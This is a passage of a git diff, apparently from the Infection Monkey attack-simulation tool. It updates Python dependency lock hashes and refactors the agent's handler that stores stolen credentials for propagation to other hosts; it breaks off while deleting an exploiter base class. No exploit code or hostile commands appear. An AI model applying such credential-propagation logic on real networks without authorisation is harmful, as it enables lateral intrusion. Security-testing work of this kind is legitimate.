"sha256:5bd01446b736eb9d31512a30d46c1ac3395d676c6f3cafa4c03eb54b9925631c", - "sha256:d3ccd6ed470d9ffbc716be08bd90efbd44d0734bc9303818f7336070984a162d" - ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", - "version": "==0.3.0" - }, "pycparser": { "hashes": [ "sha256:8ee45429555515e1f6b185e78100aea234072576aa43ab53aefcae078162fca9", @@ -421,71 +351,71 @@ }, "pydantic": { "hashes": [ - "sha256:052d8654cb65174d6f9490cc9b9a200083a82cf5c3c5d3985db765757eb3b375", - "sha256:0c6fafa0965b539d7aab0a673a046466d23b86e4b0e8019d25fd53f4df62c277", - "sha256:1243d28e9b05003a89d72e7915fdb26ffd1d39bdd39b00b7dbe4afae4b557f9d", - "sha256:12f7b0bf8553e310e530e9f3a2f5734c68699f42218bf3568ef49cd9b0e44df4", - "sha256:1410275520dfa70effadf4c21811d755e7ef9bb1f1d077a21958153a92c8d9ca", - "sha256:16f8c3e33af1e9bb16c7a91fc7d5fa9fe27298e9f299cff6cb744d89d573d62c", - "sha256:17aef11cc1b997f9d574b91909fed40761e13fac438d72b81f902226a69dac01", - "sha256:191ba419b605f897ede9892f6c56fb182f40a15d309ef0142212200a10af4c18", - "sha256:1952526ba40b220b912cdc43c1c32bcf4a58e3f192fa313ee665916b26befb68", - "sha256:1ced8375969673929809d7f36ad322934c35de4af3b5e5b09ec967c21f9f7887", - "sha256:2e4148e635994d57d834be1182a44bdb07dd867fa3c2d1b37002000646cc5459", - "sha256:34d327c81e68a1ecb52fe9c8d50c8a9b3e90d3c8ad991bfc8f953fb477d42fb4", - "sha256:35db5301b82e8661fa9c505c800d0990bc14e9f36f98932bb1d248c0ac5cada5", - "sha256:3e59417ba8a17265e632af99cc5f35ec309de5980c440c255ab1ca3ae96a3e0e", - "sha256:42aa0c4b5c3025483240a25b09f3c09a189481ddda2ea3a831a9d25f444e03c1", - "sha256:666bdf6066bf6dbc107b30d034615d2627e2121506c555f73f90b54a463d1f33", - "sha256:66a703d1983c675a6e0fed8953b0971c44dba48a929a2000a493c3772eb61a5a", - "sha256:6a82d6cda82258efca32b40040228ecf43a548671cb174a1e81477195ed3ed56", - "sha256:6f2e754d5566f050954727c77f094e01793bcb5725b663bf628fa6743a5a9108", - "sha256:7456eb22ed9aaa24ff3e7b4757da20d9e5ce2a81018c1b3ebd81a0b88a18f3b2", - "sha256:7b1f6cb446470b7ddf86c2e57cd119a24959af2b01e552f60705910663af09a4", - "sha256:7d5b8641c24886d764a74ec541d2fc2c7fb19f6da2a4001e6d580ba4a38f7878", - "sha256:84d80219c3f8d4cad44575e18404099c76851bc924ce5ab1c4c8bb5e2a2227d0", - "sha256:88f195f582851e8db960b4a94c3e3ad25692c1c1539e2552f3df7a9e972ef60e", - "sha256:93e6bcfccbd831894a6a434b0aeb1947f9e70b7468f274154d03d71fabb1d7c6", - "sha256:93e766b4a8226e0708ef243e843105bf124e21331694367f95f4e3b4a92bbb3f", - "sha256:ab523c31e22943713d80d8d342d23b6f6ac4b792a1e54064a8d0cf78fd64e800", - "sha256:bb14388ec45a7a0dc429e87def6396f9e73c8c77818c927b6a60706603d5f2ea", - "sha256:c0ab53b609c11dfc0c060d94335993cc2b95b2150e25583bec37a49b2d6c6c3f", - "sha256:c33b60054b2136aef8cf190cd4c52a3daa20b2263917c49adad20eaf381e823b", - "sha256:ceb6a23bf1ba4b837d0cfe378329ad3f351b5897c8d4914ce95b85fba96da5a1", - "sha256:d532bf00f381bd6bc62cabc7d1372096b75a33bc197a312b03f5838b4fb84edd", - "sha256:df7800cb1984d8f6e249351139667a8c50a379009271ee6236138a22a0c0f319", - "sha256:e82d4566fcd527eae8b244fa952d99f2ca3172b7e97add0b43e2d97ee77f81ab", - "sha256:f90c1e29f447557e9e26afb1c4dbf8768a10cc676e3781b6a577841ade126b85", - "sha256:f9613fadad06b4f3bc5db2653ce2f22e0de84a7c6c293909b48f6ed37b83c61f" + "sha256:20a3b30fd255eeeb63caa9483502ba96b7795ce5bf895c6a179b3d909d9f53a6", + "sha256:2b71bd504d1573b0b722ae536e8ffb796bedeef978979d076bf206e77dcc55a5", + "sha256:3403a090db45d4027d2344859d86eb797484dfda0706cf87af79ace6a35274ef", + "sha256:37ebddef68370e6f26243acc94de56d291e01227a67b2ace26ea3543cf53dd5f", + "sha256:3b8d5bd97886f9eb59260594207c9f57dce14a6f869c6ceea90188715d29921a", + "sha256:409b810f387610cc7405ab2fa6f62bdf7ea485311845a242ebc0bd0496e7e5ac", + "sha256:4870f13a4fafd5bc3e93cff3169222534fad867918b188e83ee0496452978437", + "sha256:566a04ba755e8f701b074ffb134ddb4d429f75d5dced3fbd829a527aafe74c71", + "sha256:67b3714b97ff84b2689654851c2426389bcabfac9080617bcf4306c69db606f6", + "sha256:6dab5219659f95e357d98d70577b361383057fb4414cfdb587014a5f5c595f7b", + "sha256:748d10ab6089c5d196e1c8be9de48274f71457b01e59736f7a09c9dc34f51887", + "sha256:762aa598f79b4cac2f275d13336b2dd8662febee2a9c450a49a2ab3bec4b385f", + "sha256:7a26841be620309a9697f5b1ffc47dce74909e350c5315ccdac7a853484d468a", + "sha256:7a7db03339893feef2092ff7b1afc9497beed15ebd4af84c3042a74abce02d48", + "sha256:7aa75d1bd9cc275cf9782f50f60cddaf74cbaae19b6ada2a28e737edac420312", + "sha256:86936c383f7c38fd26d35107eb669c85d8f46dfceae873264d9bab46fe1c7dde", + "sha256:88546dc10a40b5b52cae87d64666787aeb2878f9a9b37825aedc2f362e7ae1da", + "sha256:8c40964596809eb616d94f9c7944511f620a1103d63d5510440ed2908fc410af", + "sha256:990027e77cda6072a566e433b6962ca3b96b4f3ae8bd54748e9d62a58284d9d7", + "sha256:9965e49c6905840e526e5429b09e4c154355b6ecc0a2f05492eda2928190311d", + "sha256:9f62a727f5c590c78c2d12fda302d1895141b767c6488fe623098f8792255fe5", + "sha256:a2d5be50ac4a0976817144c7d653e34df2f9436d15555189f5b6f61161d64183", + "sha256:a5939ec826f7faec434e2d406ff5e4eaf1716eb1f247d68cd3d0b3612f7b4c8a", + "sha256:aac218feb4af73db8417ca7518fb3bade4534fcca6e3fb00f84966811dd94450", + "sha256:adad1ee4ab9888f12dac2529276704e719efcf472e38df7813f5284db699b4ec", + "sha256:b69f9138dec566962ec65623c9d57bee44412d2fc71065a5f3ebb3820bdeee96", + "sha256:c41bbaae89e32fc582448e71974de738c055aef5ab474fb25692981a08df808a", + "sha256:c62376890b819bebe3c717a9ac841a532988372b7e600e76f75c9f7c128219d5", + "sha256:ce937a2a2c020bcad1c9fde02892392a1123de6dda906ddba62bfe8f3e5989a2", + "sha256:db4c7f7e60ca6f7d6c1785070f3e5771fcb9b2d88546e334d2f2c3934d949028", + "sha256:e0014e29637125f4997c174dd6167407162d7af0da73414a9340461ea8573252", + "sha256:e088e3865a2270ecbc369924cd7d9fbc565667d9158e7f304e4097ebb9cf98dd", + "sha256:ea9eebc2ebcba3717e77cdeee3f6203ffc0e78db5f7482c68b1293e8cc156e5e", + "sha256:edfdf0a5abc5c9bf2052ebaec20e67abd52e92d257e4f2d30e02c354ed3e6030", + "sha256:f3d4ee957a727ccb5a36f1b0a6dbd9fad5dedd2a41eada99a8df55c12896e18d", + "sha256:f79db3652ed743309f116ba863dae0c974a41b688242482638b892246b7db21d" ], "index": "pypi", - "version": "==1.10.8" + "version": "==1.10.10" }, "pyinstaller": { "hashes": [ - "sha256:036a062a228af41f6bb6370a4e87cef34858cc839200a07ace7f8738ef64ad86", - "sha256:049cdc3524aefb5ca015a63d2c81b6bf1567cc818ac066859fbfde702c6165d3", - "sha256:0af9d11a09ce217d32f95c79c984054457b310671387ff32bae1496876308556", - "sha256:2a1fe6d0da22f207cfa4b3221fe365503cba071c77aac19f76a75503f67d9ff9", - "sha256:42fdea67e4c2217cedd54d17d1d402736df3ba718db2b497df65df5a68ae4f93", - "sha256:8454bac8f3cb2219a3ce2227fd039bdaf943dcba60e8c55732958ea3a6d81263", - "sha256:a445a91b85c9a1ea3985268643a674900dd86f244cc4be4ff4ec4c6367ff99a9", - "sha256:b3c6299fd7526c6ca87ea5f9017fb1928d47046df0b9f983d6bbd893801010dc", - "sha256:b4cac0e7b0d63c6a869843113008f59fd5b38b2959ffa6059e7fac4bb05de92b", - "sha256:b8a4f6834e5c85150948e22c74dd3ab8b98aa4ccdf964d880ac14d2f78d9c1a4", - "sha256:cb87cee0b3c81ccd74d4bf3f4faf03b5e1e39bb91f1a894b2ce4cd22363bf779", - "sha256:e359571327bbef434fc61324891399f9117efbb685b5065234eebb01713650a8" + "sha256:0df43697c4914285ecd333be968d2cd042ab9b2670124879ee87931d2344eaf5", + "sha256:1fde4381155f21d6354dc450dcaa338cd8a40aaacf6bd22b987b0f3e1f96f3ee", + "sha256:24009eba63cfdbcde6d2634e9c87f545eb67249ddf3b514e0cd3b2cdaa595828", + "sha256:28d9742c37e9fb518444b12f8c8ab3cb4ba212d752693c34475c08009aa21ccf", + "sha256:2d03419904d1c25c8968b0ad21da0e0f33d8d65716e29481b5bd83f7f342b0c5", + "sha256:3a331951f9744bc2379ea5d65d36f3c828eaefe2785f15039592cdc08560b262", + "sha256:5e446df41255e815017d96318e39f65a3eb807e74a796c7e7ff7f13b6366a2e9", + "sha256:78975043edeb628e23a73fb3ef0a273cda50e765f1716f75212ea3e91b09dede", + "sha256:7fdd319828de679f9c5e381eff998ee9b4164bf4457e7fca56946701cf002c3f", + "sha256:9fc27c5a853b14a90d39c252707673c7a0efec921cd817169aff3af0fca8c127", + "sha256:cd7d5c06f2847195a23d72ede17c60857d6f495d6f0727dc6c9bc1235f2eb79c", + "sha256:e5fb17de6c325d3b2b4ceaeb55130ad7100a79096490e4c5b890224406fa42f4" ], "index": "pypi", - "version": "==5.11.0" + "version": "==5.13.0" }, "pyinstaller-hooks-contrib": { "hashes": [ - "sha256:062ad7a1746e1cfc24d3a8c4be4e606fced3b123bda7d419f14fcf7507804b07", - "sha256:bb39e1038e3e0972420455e0b39cd9dce73f3d80acaf4bf2b3615fea766ff370" + "sha256:9c11197653de9605a81975325a60b9369e9cdc37c009b6aeb0221a57211f9388", + "sha256:fc9892e46fa19d05725205413fb21a764f2f6ff1e70ba95322fb02420a665a45" ], "markers": "python_version >= '3.7'", - "version": "==2023.3" + "version": "==2023.4" }, "pynacl": { "hashes": [ @@ -503,22 +433,6 @@ "markers": "python_version >= '3.6'", "version": "==1.5.0" }, - "pyopenssl": { - "hashes": [ - "sha256:841498b9bec61623b1b6c47ebbc02367c07d60e0e195f19790817f10cc8db0b7", - "sha256:9e0c526404a210df9d2b18cd33364beadb0dc858a739b885677bc65e105d4a4c" - ], - "markers": "python_version >= '3.6'", - "version": "==23.1.1" - }, - "pyparsing": { - "hashes": [ - "sha256:2b020ecf7d21b687f219b71ecad3631f644a47f01403fa1d1036b0c6416d70fb", - "sha256:5026bae9a10eeaefb61dab2f09052b9f4307d44aee4eda64b309723d8d206bbc" - ], - "markers": "python_full_version >= '3.6.8'", - "version": "==3.0.9" - }, "pypubsub": { "hashes": [ "sha256:7f716bae9388afe01ff82b264ba8a96a8ae78b42bb1f114f2716ca8f9e404e2a" @@ -582,12 +496,12 @@ }, "pywin32-ctypes": { "hashes": [ - "sha256:24ffc3b341d457d48e8922352130cf2644024a4ff09762a2261fd34c36ee5942", - "sha256:9dc2d991b3479cc2df15930958b674a48a227d5361d413827a4cfd0b5876fc98" + "sha256:3426e063bdd5fd4df74a14fa3cf80a0b42845a87e1d1e81f6549f9daec593a60", + "sha256:bf490a1a709baf35d688fe0ecf980ed4de11d2b3e37b51e5442587a75d9957e7" ], "index": "pypi", "markers": "sys_platform == 'win32'", - "version": "==0.2.0" + "version": "==0.2.2" }, "requests": { "hashes": [ @@ -613,69 +527,21 @@ "index": "pypi", "version": "==0.5.0" }, - "service-identity": { - "hashes": [ - "sha256:6e6c6086ca271dc11b033d17c3a8bea9f24ebff920c587da090afc9519419d34", - "sha256:f0b0caac3d40627c3c04d7a51b6e06721857a0e10a8775f2d1d7e72901b3a7db" - ], - "version": "==21.1.0" - }, "setuptools": { "hashes": [ - "sha256:5df61bf30bb10c6f756eb19e7c9f3b473051f48db77fddbe06ff2ca307df9a6f", - "sha256:62642358adc77ffa87233bc4d2354c4b2682d214048f500964dbe760ccedf102" + "sha256:11e52c67415a381d10d6b462ced9cfb97066179f0e871399e006c4ab101fc85f", + "sha256:baf1fdb41c6da4cd2eae722e135500da913332ab3f2f5c7d33af9b492acb5235" ], "markers": "python_version >= '3.7'", - "version": "==67.8.0" - }, - "six": { - "hashes": [ - "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926", - "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254" - ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==1.16.0" - }, - "twisted": { - "extras": [ - "tls" - ], - "hashes": [ - "sha256:32acbd40a94f5f46e7b42c109bfae2b302250945561783a8b7a059048f2d4d31", - "sha256:86c55f712cc5ab6f6d64e02503352464f0400f66d4f079096d744080afcccbd0" - ], - "markers": "python_full_version >= '3.7.1'", - "version": "==22.10.0" - }, - "twisted-iocpsupport": { - "hashes": [ - "sha256:1bdccbb22199fc69fd7744d6d2dfd22d073c028c8611d994b41d2d2ad0e0f40d", - "sha256:1dbfac706972bf9ec5ce1ddbc735d2ebba406ad363345df8751ffd5252aa1618", - "sha256:1ddfc5fa22ec6f913464b736b3f46e642237f17ac41be47eed6fa9bd52f5d0e0", - "sha256:1ea2c3fbdb739c95cc8b3355305cd593d2c9ec56d709207aa1a05d4d98671e85", - "sha256:3f39c41c0213a81a9ce0961e30d0d7650f371ad80f8d261007d15a2deb6d5be3", - "sha256:4f249d0baac836bb431d6fa0178be063a310136bc489465a831e3abd2d7acafd", - "sha256:67bec1716eb8f466ef366bbf262e1467ecc9e20940111207663ac24049785bad", - "sha256:6f8c433faaad5d53d30d1da6968d5a3730df415e2efb6864847267a9b51290cd", - "sha256:7efcdfafb377f32db90f42bd5fc5bb32cd1e3637ee936cdaf3aff4f4786ab3bf", - "sha256:8faceae553cfadc42ad791b1790e7cdecb7751102608c405217f6a26e877e0c5", - "sha256:98a6f16ab215f8c1446e9fc60aaed0ab7c746d566aa2f3492a23cea334e6bebb", - "sha256:a379ef56a576c8090889f74441bc3822ca31ac82253cc61e8d50631bcb0c26d0", - "sha256:aaca8f30c3b7c80d27a33fe9fe0d0bac42b1b012ddc60f677175c30e1becc1f3", - "sha256:afb00801fdfbaccf0d0173a722626500023d4a19719ac9f129d1347a32e2fc66", - "sha256:db11c80054b52dbdea44d63d5474a44c9a6531882f0e2960268b15123088641a", - "sha256:dff43136c33665c2d117a73706aef6f7d6433e5c4560332a118fe066b16b8695" - ], - "markers": "platform_system == 'Windows'", - "version": "==1.0.3" + "version": "==68.0.0" }, "typing-extensions": { "hashes": [ - "sha256:6ad00b63f849b7dcc313b70b6b304ed67b2b2963b3098a33efe18056b1a9a223", - "sha256:ff6b238610c747e44c268aa4bb23c8c735d665a63726df3f9431ce707f2aa768" + "sha256:440d5dd3af93b060174bf433bccd69b0babc3b15b1a8dca43789fd7f61514b36", + "sha256:b75ddc264f0ba5615db7ba217daeb99701ad295353c45f9e95963337ceeeffb2" ], "markers": "python_version >= '3.7'", - "version": "==4.6.0" + "version": "==4.7.1" }, "urllib3": { "hashes": [ @@ -691,42 +557,6 @@ ], "index": "pypi", "version": "==0.5.2" - }, - "zope.interface": { - "hashes": [ - "sha256:042f2381118b093714081fd82c98e3b189b68db38ee7d35b63c327c470ef8373", - "sha256:0ec9653825f837fbddc4e4b603d90269b501486c11800d7c761eee7ce46d1bbb", - "sha256:12175ca6b4db7621aedd7c30aa7cfa0a2d65ea3a0105393e05482d7a2d367446", - "sha256:1592f68ae11e557b9ff2bc96ac8fc30b187e77c45a3c9cd876e3368c53dc5ba8", - "sha256:23ac41d52fd15dd8be77e3257bc51bbb82469cf7f5e9a30b75e903e21439d16c", - "sha256:424d23b97fa1542d7be882eae0c0fc3d6827784105264a8169a26ce16db260d8", - "sha256:4407b1435572e3e1610797c9203ad2753666c62883b921318c5403fb7139dec2", - "sha256:48f4d38cf4b462e75fac78b6f11ad47b06b1c568eb59896db5b6ec1094eb467f", - "sha256:4c3d7dfd897a588ec27e391edbe3dd320a03684457470415870254e714126b1f", - "sha256:5171eb073474a5038321409a630904fd61f12dd1856dd7e9d19cd6fe092cbbc5", - "sha256:5a158846d0fca0a908c1afb281ddba88744d403f2550dc34405c3691769cdd85", - "sha256:6ee934f023f875ec2cfd2b05a937bd817efcc6c4c3f55c5778cbf78e58362ddc", - "sha256:790c1d9d8f9c92819c31ea660cd43c3d5451df1df61e2e814a6f99cebb292788", - "sha256:809fe3bf1a91393abc7e92d607976bbb8586512913a79f2bf7d7ec15bd8ea518", - "sha256:87b690bbee9876163210fd3f500ee59f5803e4a6607d1b1238833b8885ebd410", - "sha256:89086c9d3490a0f265a3c4b794037a84541ff5ffa28bb9c24cc9f66566968464", - "sha256:99856d6c98a326abbcc2363827e16bd6044f70f2ef42f453c0bd5440c4ce24e5", - "sha256:aab584725afd10c710b8f1e6e208dbee2d0ad009f57d674cb9d1b3964037275d", - "sha256:af169ba897692e9cd984a81cb0f02e46dacdc07d6cf9fd5c91e81f8efaf93d52", - "sha256:b39b8711578dcfd45fc0140993403b8a81e879ec25d53189f3faa1f006087dca", - "sha256:b3f543ae9d3408549a9900720f18c0194ac0fe810cecda2a584fd4dca2eb3bb8", - "sha256:d0583b75f2e70ec93f100931660328965bb9ff65ae54695fb3fa0a1255daa6f2", - "sha256:dfbbbf0809a3606046a41f8561c3eada9db811be94138f42d9135a5c47e75f6f", - "sha256:e538f2d4a6ffb6edfb303ce70ae7e88629ac6e5581870e66c306d9ad7b564a58", - "sha256:eba51599370c87088d8882ab74f637de0c4f04a6d08a312dce49368ba9ed5c2a", - "sha256:ee4b43f35f5dc15e1fec55ccb53c130adb1d11e8ad8263d68b1284b66a04190d", - "sha256:f2363e5fd81afb650085c6686f2ee3706975c54f331b426800b53531191fdf28", - "sha256:f299c020c6679cb389814a3b81200fe55d428012c5e76da7e722491f5d205990", - "sha256:f72f23bab1848edb7472309e9898603141644faec9fd57a823ea6b4d1c4c8995", - "sha256:fa90bac61c9dc3e1a563e5babb3fd2c0c1c80567e815442ddbe561eadc803b30" - ], - "markers": "python_version >= '3.7'", - "version": "==6.0" } }, "develop": { @@ -754,48 +584,37 @@ "markers": "python_version >= '3.7'", "version": "==2.0.0" }, - "ldap3": { - "hashes": [ - "sha256:2bc966556fc4d4fa9f445a1c31dc484ee81d44a51ab0e2d0fd05b62cac75daa6", - "sha256:5630d1383e09ba94839e253e013f1aa1a2cf7a547628ba1265cb7b9a844b5687", - "sha256:5869596fc4948797020d3f03b7939da938778a0f9e2009f7a072ccf92b8e8d70", - "sha256:5ab7febc00689181375de40c396dcad4f2659cd260fc5e94c508b6d77c17e9d5", - "sha256:f3e7fc4718e3f09dda568b57100095e0ce58633bcabbed8667ce3f8fbaa4229f" - ], - "index": "pypi", - "version": "==2.9.1" - }, "mypy": { "hashes": [ - "sha256:1c4c42c60a8103ead4c1c060ac3cdd3ff01e18fddce6f1016e08939647a0e703", - "sha256:44797d031a41516fcf5cbfa652265bb994e53e51994c1bd649ffcd0c3a7eccbf", - "sha256:473117e310febe632ddf10e745a355714e771ffe534f06db40702775056614c4", - "sha256:4c99c3ecf223cf2952638da9cd82793d8f3c0c5fa8b6ae2b2d9ed1e1ff51ba85", - "sha256:550a8b3a19bb6589679a7c3c31f64312e7ff482a816c96e0cecec9ad3a7564dd", - "sha256:658fe7b674769a0770d4b26cb4d6f005e88a442fe82446f020be8e5f5efb2fae", - "sha256:6e33bb8b2613614a33dff70565f4c803f889ebd2f859466e42b46e1df76018dd", - "sha256:6e42d29e324cdda61daaec2336c42512e59c7c375340bd202efa1fe0f7b8f8ca", - "sha256:74bc9b6e0e79808bf8678d7678b2ae3736ea72d56eede3820bd3849823e7f305", - "sha256:76ec771e2342f1b558c36d49900dfe81d140361dd0d2df6cd71b3db1be155409", - "sha256:7d23370d2a6b7a71dc65d1266f9a34e4cde9e8e21511322415db4b26f46f6b8c", - "sha256:87df44954c31d86df96c8bd6e80dfcd773473e877ac6176a8e29898bfb3501cb", - "sha256:8c5979d0deb27e0f4479bee18ea0f83732a893e81b78e62e2dda3e7e518c92ee", - "sha256:95d8d31a7713510685b05fbb18d6ac287a56c8f6554d88c19e73f724a445448a", - "sha256:a22435632710a4fcf8acf86cbd0d69f68ac389a3892cb23fbad176d1cddaf228", - "sha256:a8763e72d5d9574d45ce5881962bc8e9046bf7b375b0abf031f3e6811732a897", - "sha256:c1eb485cea53f4f5284e5baf92902cd0088b24984f4209e25981cc359d64448d", - "sha256:c5d2cc54175bab47011b09688b418db71403aefad07cbcd62d44010543fc143f", - "sha256:cbc07246253b9e3d7d74c9ff948cd0fd7a71afcc2b77c7f0a59c26e9395cb152", - "sha256:d0b6c62206e04061e27009481cb0ec966f7d6172b5b936f3ead3d74f29fe3dcf", - "sha256:ddae0f39ca146972ff6bb4399f3b2943884a774b8771ea0a8f50e971f5ea5ba8", - "sha256:e1f4d16e296f5135624b34e8fb741eb0eadedca90862405b1f1fde2040b9bd11", - "sha256:e86c2c6852f62f8f2b24cb7a613ebe8e0c7dc1402c61d36a609174f63e0ff017", - "sha256:ebc95f8386314272bbc817026f8ce8f4f0d2ef7ae44f947c4664efac9adec929", - "sha256:f9dca1e257d4cc129517779226753dbefb4f2266c4eaad610fc15c6a7e14283e", - "sha256:faff86aa10c1aa4a10e1a301de160f3d8fc8703b88c7e98de46b531ff1276a9a" + "sha256:01fd2e9f85622d981fd9063bfaef1aed6e336eaacca00892cd2d82801ab7c042", + "sha256:0dde1d180cd84f0624c5dcaaa89c89775550a675aff96b5848de78fb11adabcd", + "sha256:141dedfdbfe8a04142881ff30ce6e6653c9685b354876b12e4fe6c78598b45e2", + "sha256:16f0db5b641ba159eff72cff08edc3875f2b62b2fa2bc24f68c1e7a4e8232d01", + "sha256:190b6bab0302cec4e9e6767d3eb66085aef2a1cc98fe04936d8a42ed2ba77bb7", + "sha256:2460a58faeea905aeb1b9b36f5065f2dc9a9c6e4c992a6499a2360c6c74ceca3", + "sha256:34a9239d5b3502c17f07fd7c0b2ae6b7dd7d7f6af35fbb5072c6208e76295816", + "sha256:43b592511672017f5b1a483527fd2684347fdffc041c9ef53428c8dc530f79a3", + "sha256:43d24f6437925ce50139a310a64b2ab048cb2d3694c84c71c3f2a1626d8101dc", + "sha256:45d32cec14e7b97af848bddd97d85ea4f0db4d5a149ed9676caa4eb2f7402bb4", + "sha256:470c969bb3f9a9efcedbadcd19a74ffb34a25f8e6b0e02dae7c0e71f8372f97b", + "sha256:566e72b0cd6598503e48ea610e0052d1b8168e60a46e0bfd34b3acf2d57f96a8", + "sha256:5703097c4936bbb9e9bce41478c8d08edd2865e177dc4c52be759f81ee4dd26c", + "sha256:7549fbf655e5825d787bbc9ecf6028731973f78088fbca3a1f4145c39ef09462", + "sha256:8207b7105829eca6f3d774f64a904190bb2231de91b8b186d21ffd98005f14a7", + "sha256:8c4d8e89aa7de683e2056a581ce63c46a0c41e31bd2b6d34144e2c80f5ea53dc", + "sha256:98324ec3ecf12296e6422939e54763faedbfcc502ea4a4c38502082711867258", + "sha256:9bbcd9ab8ea1f2e1c8031c21445b511442cc45c89951e49bbf852cbb70755b1b", + "sha256:9d40652cc4fe33871ad3338581dca3297ff5f2213d0df345bcfbde5162abf0c9", + "sha256:a2746d69a8196698146a3dbe29104f9eb6a2a4d8a27878d92169a6c0b74435b6", + "sha256:ae704dcfaa180ff7c4cfbad23e74321a2b774f92ca77fd94ce1049175a21c97f", + "sha256:bfdca17c36ae01a21274a3c387a63aa1aafe72bff976522886869ef131b937f1", + "sha256:c482e1246726616088532b5e964e39765b6d1520791348e6c9dc3af25b233828", + "sha256:ca637024ca67ab24a7fd6f65d280572c3794665eaf5edcc7e90a866544076878", + "sha256:e02d700ec8d9b1859790c0475df4e4092c7bf3272a4fd2c9f33d87fac4427b8f", + "sha256:e5952d2d18b79f7dc25e62e014fe5a23eb1a3d2bc66318df8988a01b1a037c5b" ], "index": "pypi", - "version": "==1.3.0" + "version": "==1.4.1" }, "mypy-extensions": { "hashes": [ @@ -815,46 +634,27 @@ }, "pluggy": { "hashes": [ - "sha256:4224373bacce55f955a878bf9cfa763c1e360858e330072059e10bad68531159", - "sha256:74134bbf457f031a36d68416e1509f34bd5ccc019f0bcc952c7b909d06b37bd3" + "sha256:c2fd55a7d7a3863cba1a013e4e2414658b1d07b6bc57b3919e0c63c9abb99849", + "sha256:d12f0c4b579b15f5e054301bb226ee85eeeba08ffec228092f8defbaa3a4c4b3" ], - "markers": "python_version >= '3.6'", - "version": "==1.0.0" - }, - "pyasn1": { - "hashes": [ - "sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359", - "sha256:03840c999ba71680a131cfaee6fab142e1ed9bbd9c693e285cc6aca0d555e576", - "sha256:0458773cfe65b153891ac249bcf1b5f8f320b7c2ce462151f8fa74de8934becf", - "sha256:08c3c53b75eaa48d71cf8c710312316392ed40899cb34710d092e96745a358b7", - "sha256:39c7e2ec30515947ff4e87fb6f456dfc6e84857d34be479c9d4a4ba4bf46aa5d", - "sha256:5c9414dcfede6e441f7e8f81b43b34e834731003427e5b09e4e00e3172a10f00", - "sha256:6e7545f1a61025a4e58bb336952c5061697da694db1cae97b116e9c46abcf7c8", - "sha256:78fa6da68ed2727915c4767bb386ab32cdba863caa7dbe473eaae45f9959da86", - "sha256:7ab8a544af125fb704feadb008c99a88805126fb525280b2270bb25cc1d78a12", - "sha256:99fcc3c8d804d1bc6d9a099921e39d827026409a58f2a720dcdb89374ea0c776", - "sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba", - "sha256:e89bf84b5437b532b0803ba5c9a5e054d21fec423a89952a74f87fa2c9b7bce2", - "sha256:fec3e9d8e36808a28efb59b489e4528c10ad0f480e57dcc32b4de5c9d8c9fdf3" - ], - "index": "pypi", - "version": "==0.4.8" + "markers": "python_version >= '3.7'", + "version": "==1.2.0" }, "pytest": { "hashes": [ - "sha256:3799fa815351fea3a5e96ac7e503a96fa51cc9942c3753cda7651b93c1cfa362", - "sha256:434afafd78b1d78ed0addf160ad2b77a30d35d4bdf8af234fe621919d9ed15e3" + "sha256:78bf16451a2eb8c7a2ea98e32dc119fd2aa758f1d5d66dbf0a59d69a3969df32", + "sha256:b4bf8c45bd59934ed84001ad51e11b4ee40d40a1229d2c79f9c592b0a3f6bd8a" ], "markers": "python_version >= '3.7'", - "version": "==7.3.1" + "version": "==7.4.0" }, "pytest-freezer": { "hashes": [ - "sha256:8e88cd571d3ba10dd9e0cc09897eb01c32a37bef5ca4ff7c4ea8598c91aa6d96", - "sha256:ca549c30a7e12bc7b242978b6fa0bb91e73cd1bd7d5b2bb658f0f9d7f1694cac" + "sha256:644ce7ddb8ba52b92a1df0a80a699bad2b93514c55cf92e9f2517b68ebe74814", + "sha256:8ee2f724b3ff3540523fa355958a22e6f4c1c819928b78a7a183ae4248ce6ee6" ], "index": "pypi", - "version": "==0.4.6" + "version": "==0.4.8" }, "python-dateutil": { "hashes": [ @@ -874,11 +674,11 @@ }, "typing-extensions": { "hashes": [ - "sha256:6ad00b63f849b7dcc313b70b6b304ed67b2b2963b3098a33efe18056b1a9a223", - "sha256:ff6b238610c747e44c268aa4bb23c8c735d665a63726df3f9431ce707f2aa768" + "sha256:440d5dd3af93b060174bf433bccd69b0babc3b15b1a8dca43789fd7f61514b36", + "sha256:b75ddc264f0ba5615db7ba217daeb99701ad295353c45f9e95963337ceeeffb2" ], "markers": "python_version >= '3.7'", - "version": "==4.6.0" + "version": "==4.7.1" } } } diff --git a/monkey/infection_monkey/agent_event_handlers/add_stolen_credentials_to_repository.py b/monkey/infection_monkey/agent_event_handlers/add_stolen_credentials_to_repository.py index 397c1af378f..e22304eddf6 100644 --- a/monkey/infection_monkey/agent_event_handlers/add_stolen_credentials_to_repository.py +++ b/monkey/infection_monkey/agent_event_handlers/add_stolen_credentials_to_repository.py @@ -1,10 +1,7 @@ import logging from common.agent_events import CredentialsStolenEvent -from infection_monkey.propagation_credentials_repository import ( - ILegacyPropagationCredentialsRepository, - IPropagationCredentialsRepository, -) +from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository logger = logging.getLogger(__name__) @@ -13,12 +10,9 @@ class add_stolen_credentials_to_propagation_credentials_repository: def __init__( self, credentials_repository: IPropagationCredentialsRepository, - legacy_credentials_repository: ILegacyPropagationCredentialsRepository, ): self._credentials_repository = credentials_repository - self._legacy_credentials_repository = legacy_credentials_repository def __call__(self, event: CredentialsStolenEvent): logger.debug(f"Adding {len(event.stolen_credentials)} to the credentials repository") self._credentials_repository.add_credentials(event.stolen_credentials) - self._legacy_credentials_repository.add_credentials(event.stolen_credentials) diff --git a/monkey/infection_monkey/custom_types.py b/monkey/infection_monkey/custom_types.py deleted file mode 100644 index 6e1eab9aa8d..00000000000 --- a/monkey/infection_monkey/custom_types.py +++ /dev/null @@ -1,3 +0,0 @@ -from typing import Iterable, Mapping - -PropagationCredentials = Mapping[str, Iterable[str]] diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py deleted file mode 100644 index 3e62039d22b..00000000000 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ /dev/null @@ -1,171 +0,0 @@ -import logging -from abc import 